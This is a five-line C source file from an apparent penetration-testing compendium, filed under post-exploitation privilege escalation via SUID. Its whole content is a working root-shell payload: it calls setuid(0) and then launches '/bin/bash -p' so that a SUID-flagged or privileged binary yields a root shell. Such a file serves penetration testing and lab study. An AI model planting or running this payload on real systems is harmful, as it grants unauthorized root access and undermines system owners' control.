killchain-compendium/post exploitation/priv_esc/suid/service.c

5 lines
52 B
C
Raw Normal View History

2021-08-23 01:13:54 +02:00
int main() {
setuid(0);
system("/bin/bash -p");
}